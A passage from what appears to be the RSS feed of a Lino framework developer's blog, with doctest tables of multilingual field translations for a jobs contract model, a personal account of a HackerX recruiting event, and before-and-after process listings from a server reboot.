&lt;p&gt;Actually &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;art60&lt;/span&gt;&lt;/code&gt; even removes &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;jobs.Contract&lt;/span&gt;&lt;/code&gt;, above test was made with an
intermediate version.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;show_field_translations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;languages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en fr de&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   |   | Field            | en                                       | fr                                       | de                                       |&lt;/span&gt;
&lt;span class="go"&gt;+===+===+==================+==========================================+==========================================+==========================================+&lt;/span&gt;
&lt;span class="go"&gt;| x | x | id               | ID                                       | ID                                       | ID                                       |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | signer1          | Secretary                                | Secrétaire                               | Sekretär                                 |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | signer2          | President                                | Président                                | Präsident                                |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | user             | Author : The person who created this     | Auteur : La personne qui a créé ce       | Autor : Die Person, die diesen Vertrag   |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | contract.                                | contrat.                                 | erstellt hat.                            |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | company          | Organization : Pointer to Company.       | Organisation : Pointer to Company.       | Organisation : Pointer to Company.       |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | contact_person   | Represented by : Pointer to Person.      | Represented by : Pointer to Person.      | Represented by : Pointer to Person.      |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | contact_role     | Represented as : The optional Role of    | Represented as : The optional Role of    | Represented as : The optional Role of    |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | the contact_person within company.       | the contact_person within company.       | the contact_person within company.       |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | printed_by       | Printed : ForeignKey to the Excerpt      | Imprimé : ForeignKey to the Excerpt      | Gedruckt : ForeignKey to the Excerpt     |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | which certifies this instance.           | which certifies this instance.           | which certifies this instance.           |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | client           | Client : The client for whom this        | Bénéficiaire : The client for whom this  | Klient : The client for whom this        |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | contract is done.                        | contract is done.                        | contract is done.                        |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | language         | Language : The language of this          | Langue : The language of this contract.  | Sprache : The language of this contract. |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | contract. Default value is the client’s  | Default value is the client’s language.  | Default value is the client’s language.  |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | language.                                |                                          |                                          |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | applies_from     | applies from : The start date of the     | Début de contrat : The start date of the | Laufzeit von : The start date of the     |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | contract.                                | contract.                                | contract.                                |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | applies_until    | applies until : The planned end date of  | Fin prévue : The planned end date of     | Laufzeit bis : The planned end date of   |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | this contract.                           | this contract.                           | this contract.                           |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | date_decided     | date decided : When the contract was     | Décidé le : When the contract was        | Beschlossen am : When the contract was   |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | ratified by the responsible board.       | ratified by the responsible board.       | ratified by the responsible board.       |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | date_issued      | date issued : When the contract was      | Date de signature : When the contract    | Ausgestellt am : When the contract was   |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | issued to the client and signed by them. | was issued to the client and signed by   | issued to the client and signed by them. |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  |                                          | them.                                    |                                          |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | user_asd         | Responsible (GSS) : The responsible      | Titulaire (SSG) : La personne            | Verantwortlicher (ASD) : Die             |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | person at the general social service.    | responsable au service social général.   | verantwortliche Person im allgemeinen    |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  |                                          |                                          | Sozialdienst.                            |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | exam_policy      | Examination Policy                       | Régime d&amp;#39;évaluation                      | Auswertungsstrategie                     |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | ending           | Reason of termination : The reason of    | Motif d&amp;#39;arrêt : The reason of prematured | Beendigungsgrund : The reason of         |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | prematured ending.  Pointer to           | ending.  Pointer to ContractEnding       | prematured ending.  Pointer to           |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | ContractEnding                           |                                          | ContractEnding                           |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | date_ended       | date ended : The date when this contract | Date de fin : The date when this         | Enddatum : The date when this contract   |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | was effectively ended. This field is set | contract was effectively ended. This     | was effectively ended. This field is set |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | to the same value as applies_until.      | field is set to the same value as        | to the same value as applies_until.      |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  |                                          | applies_until.                           |                                          |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| x |   | duration         | duration (days)                          | Jours ONSS                               | Dauer (Arbeitstage)                      |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | reference_person | reference person                         | persone de référence                     | Referenzperson                           |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | responsibilities | responsibilities                         | responsabilités                          | Aufgabenbereich                          |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | remark           | Remark                                   | Remarque                                 | Bemerkung                                |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| ? |   | type             | Type : The type of this contract.        | Type : The type of this contract.        | Art : The type of this contract. Pointer |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | Pointer to a subclass of                 | Pointer to a subclass of                 | to a subclass of ContractTypeBase.       |&lt;/span&gt;
&lt;span class="go"&gt;|   |   |                  | ContractTypeBase.                        | ContractTypeBase.                        |                                          |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| ? |   | job              | Job                                      | Poste de travail                         | Stelle                                   |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | regime           | Work Regime                              | Régime de travail                        | Arbeitsregime                            |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | schedule         | Work Schedule                            | Horaire                                  | Stundenplan                              |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | hourly_rate      | hourly rate                              | coût horaire                             | Stundensatz                              |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|   | x | refund_rate      | refund rate                              | tarif de remboursement                   | Rückzahlung                              |&lt;/span&gt;
&lt;span class="go"&gt;+---+---+------------------+------------------------------------------+------------------------------------------+------------------------------------------+&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Review the hierarchy of JobSupplyment, ContractPartnerBase,
ContractBase mixins.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractBase&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;()]))&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;signer1 signer2 user printed_by client language applies_from applies_until date_decided date_issued user_asd exam_policy ending date_ended&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractPartnerBase&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;()]))&lt;/span&gt;
&lt;span class="go"&gt;company contact_person contact_role&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JobSupplyment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;include_parents&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)]))&lt;/span&gt;
&lt;span class="go"&gt;signer1 signer2 user printed_by client language applies_from applies_until date_decided date_issued user_asd exam_policy ending date_ended duration reference_person responsibilities remark&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/1002.html</guid><pubDate>Sun, 02 Oct 2022 00:00:00 +0000</pubDate></item><item><title>Internal fork of a plugin</title><link>https://luc.lino-framework.org/blog/2022/0930.html</link><description>&lt;section id="internal-fork-of-a-plugin"&gt;
&lt;h1&gt;Internal fork of a plugin&lt;a class="headerlink" href="#internal-fork-of-a-plugin" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, September 30, 2022&lt;/p&gt;
&lt;p&gt;I started a new plugin &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht.lib.jobs&lt;/span&gt;&lt;/code&gt; as a copy of
&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.jobs.html#module-lino_welfare.modlib.jobs" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.jobs&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wrote a new utility function &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.doctest.html#lino.api.doctest.show_field_translations" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.doctest.show_field_translations()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.mathieu.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;show_field_translations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user user_asd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;languages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en fr de&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;+----------+---------------------------------------+----------------------------------------+----------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| Field    | en                                    | fr                                     | de                                     |&lt;/span&gt;
&lt;span class="go"&gt;+==========+=======================================+========================================+========================================+&lt;/span&gt;
&lt;span class="go"&gt;| user     | Author : The person who created this  | Auteur : La personne qui a créé ce     | Autor : Die Person, die diesen Vertrag |&lt;/span&gt;
&lt;span class="go"&gt;|          | contract.                             | contrat.                               | erstellt hat.                          |&lt;/span&gt;
&lt;span class="go"&gt;+----------+---------------------------------------+----------------------------------------+----------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;| user_asd | Responsible (GSS) : The responsible   | Titulaire (SSG) : La personne          | Verantwortlicher (ASD) : Die           |&lt;/span&gt;
&lt;span class="go"&gt;|          | person at the general social service. | responsable au service social général. | verantwortliche Person im allgemeinen  |&lt;/span&gt;
&lt;span class="go"&gt;|          |                                       |                                        | Sozialdienst.                          |&lt;/span&gt;
&lt;span class="go"&gt;+----------+---------------------------------------+----------------------------------------+----------------------------------------+&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;show_field_translations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JobProvider&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;is_social&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;languages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en fr de&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;=========== ================ ================== ================&lt;/span&gt;
&lt;span class="go"&gt; Field       en               fr                 de&lt;/span&gt;
&lt;span class="go"&gt;----------- ---------------- ------------------ ----------------&lt;/span&gt;
&lt;span class="go"&gt; is_social   Social economy   Économie sociale   Sozialökonomie&lt;/span&gt;
&lt;span class="go"&gt;=========== ================ ================== ================&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0930.html</guid><pubDate>Fri, 30 Sep 2022 00:00:00 +0000</pubDate></item><item><title>My third time at HackerX</title><link>https://luc.lino-framework.org/blog/2022/0929.html</link><description>&lt;section id="my-third-time-at-hackerx"&gt;
&lt;h1&gt;My third time at HackerX&lt;a class="headerlink" href="#my-third-time-at-hackerx" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, September 29, 2022&lt;/p&gt;
&lt;p&gt;Yesterday I went once more to HackerX, an event where developers can enter for
free because they are actually what is being sold. The customers are companies
in search of new human resources. I probably don’t fit into their standard
product pattern but they invited me. Nice. See also &lt;a class="reference internal" href="0517.html"&gt;&lt;span class="doc"&gt;May 2022&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference internal" href="../2021/0520.html"&gt;&lt;span class="doc"&gt;May 2021&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;a href="https://sigal.saffre-rumma.net/2022/09/img_20220928_190509.jpg"  data-lightbox="image-1" data-title=""/&gt;&lt;img src="https://sigal.saffre-rumma.net/2022/09/thumbnails/img_20220928_190509.jpg" style="padding:4px; max-width:100%; float:right; max-height:20ex" title=""/&gt;&lt;/a&gt;&lt;p&gt;This time there was an employer for whom I would agree to work: &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Eesti_Energia"&gt;Eesti Energia&lt;/a&gt;, the public energy company in
Estonia. I had only a few minutes of talk with them. I started by saying “So you
are the ones who burn down Estonia’s forests. What a shame!” They seemed to be
used to that one, they even added oil shale mining, and I admitted “it’s true
that the real culprit is the EU who tells everybody that burning wood is a good
thing.” I also managed to explain them that I am not for sale without Lino, how
Lino might be useful for them and how I might help them to use Lino. All kind of
projects where multiple users need to collect, verify, process or query some
data.&lt;/p&gt;
&lt;p&gt;All other employers were &lt;a class="reference external" href="https://hw.saffre-rumma.net/corporations/#term-private-corporation" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;private corporations&lt;/span&gt;&lt;/a&gt;; I
didn’t even &lt;em&gt;try&lt;/em&gt; to talk to them. Being an employee means that you give your
time and energy away for some higher purpose. The purpose of Eesti Energia is to
provide electricity to everybody in Estonia. That’s a purpose I can imagine to
work for. But the purpose of every private corporation is to maximize the profit
of its investors. I’ll never belong to such a purpose! I explained this several
times to other developers. Most of them were younger than me.&lt;/p&gt;
&lt;p&gt;But as expected, I met several interesting people among the other developers.
There was Kristjan, who might give me a free crash course on the
Progress/OpenEdge SQL query tool. There was that guy from Brasil who loves
Estonia because you can walk around in the city at 10pm with your cell phone in
your hand and nobody will steal it. There was the guy who surprised me because
he came from Estonia but didn’t speak Estonian.  The Russian-speaking Estonians
are a similar to the German-speaking Belgians in that they are a bridge between
two cultures.  There was Aleksandr, another Russian-speaking Estonian, who
didn’t know that there is a country named Belgium, despite the fact that their
geography teacher made them cite the NATO members by heart.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0929.html</guid><pubDate>Thu, 29 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 28, 2022</title><link>https://luc.lino-framework.org/blog/2022/0928.html</link><description>&lt;section id="wednesday-september-28-2022"&gt;
&lt;h1&gt;Wednesday, September 28, 2022&lt;a class="headerlink" href="#wednesday-september-28-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Jane seems to be getting slow again. I have this impression. Uptime is 35 days.
I will reboot the server now and see whether she gets quick again. But I’d like
to have a measurement for the responsiveness.&lt;/p&gt;
&lt;p&gt;I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ps&lt;/span&gt; &lt;span class="pre"&gt;aux&lt;/span&gt; &lt;span class="pre"&gt;--sort&lt;/span&gt; &lt;span class="pre"&gt;'%mem'&lt;/span&gt;&lt;/code&gt; before and after.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;root     11709  0.0  2.2 948280 45584 ?        Ssl  sept 27   0:04 /usr/lib/snapd/snapd
mysql    32406  0.0  6.5 1728188 130132 ?      Ssl  sept 13  13:16 /usr/sbin/mysqld
www-data   948  0.0  6.8 325680 135672 ?       S    sept 22   0:27 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/welcht1/nginx/uwsgi.ini --ignore-sigpipe
www-data   951  0.0  6.9 328920 138924 ?       S    sept 22   0:27 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/weleup1/nginx/uwsgi.ini --ignore-sigpipe
www-data  1229  0.0  7.1 327852 142060 ?       S    sept 22   0:00 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/welcht1/nginx/uwsgi.ini --ignore-sigpipe
www-data  1230  0.0  7.2 330668 144860 ?       S    sept 22   0:00 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/weleup1/nginx/uwsgi.ini --ignore-sigpipe
www-data  1231  0.0  7.2 330668 144864 ?       S    sept 22   0:00 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/weleup1/nginx/uwsgi.ini --ignore-sigpipe
root       946  0.2  7.6 491892 153156 ?       Sl   sept 22  21:35 python manage.py runworker linod_jane
root       944  0.1  9.9 1103500 198172 ?      Sl   sept 22  12:49 /usr/local/lino/lino_local/jane/env/bin/python3 /usr/local/lino/lino_local/jane/env/bin/daphne -u /
root       945  0.1 10.4 1114180 208516 ?      Sl   sept 22  16:07 /usr/local/lino/lino_local/jane/env/bin/python3 /usr/local/lino/lino_local/jane/env/bin/daphne -u /
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;postgres   812  0.0  1.3 211424 27116 ?        S    16:07   0:00 /usr/lib/postgresql/11/bin/postgres -D /var/lib/postgresql/11/main -c config_file=/etc/postgresql/11/
root       765  7.0  2.0 874484 41500 ?        Ssl  16:07   0:00 /usr/lib/snapd/snapd
root       743 19.2  2.7 102284 55056 ?        Rs   16:07   0:02 /snap/certbot/2344/bin/python3 -s /snap/certbot/2344/bin/certbot renew -q
root       974  1.1  3.7 422612 74568 ?        Sl   16:07   0:00 /usr/lib/libreoffice/program/soffice.bin --accept=socket,host=127.0.0.1,port=8100;urp; --nologo --hea
mysql      947  3.1  4.8 1721016 96604 ?       Ssl  16:07   0:00 /usr/sbin/mysqld
www-data   922 22.1  4.8 238196 97456 ?        R    16:07   0:02 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/welcht1/nginx/uwsgi.ini --ignore-sigpipe
www-data   924 22.6  4.9 238980 98224 ?        R    16:07   0:02 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/weleup1/nginx/uwsgi.ini --ignore-sigpipe
root       917 22.7  5.2 146076 104584 ?       R    16:07   0:02 /usr/local/lino/lino_local/jane/env/bin/python3 /usr/local/lino/lino_local/jane/env/bin/daphne -u /ru
root       918 22.6  5.2 146076 105068 ?       R    16:07   0:02 /usr/local/lino/lino_local/jane/env/bin/python3 /usr/local/lino/lino_local/jane/env/bin/daphne -u /ru
root       919 22.9  5.8 186292 116644 ?       R    16:07   0:02 python manage.py runworker linod_jane
root       920 22.5  5.9 187368 118224 ?       R    16:07   0:02 python manage.py initiate_linod
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;As we know, our Lino processess use a bit less memory now then before.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0928.html</guid><pubDate>Wed, 28 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Saturday, September 17, 2022</title><link>https://luc.lino-framework.org/blog/2022/0917.html</link><description>&lt;section id="saturday-september-17-2022"&gt;
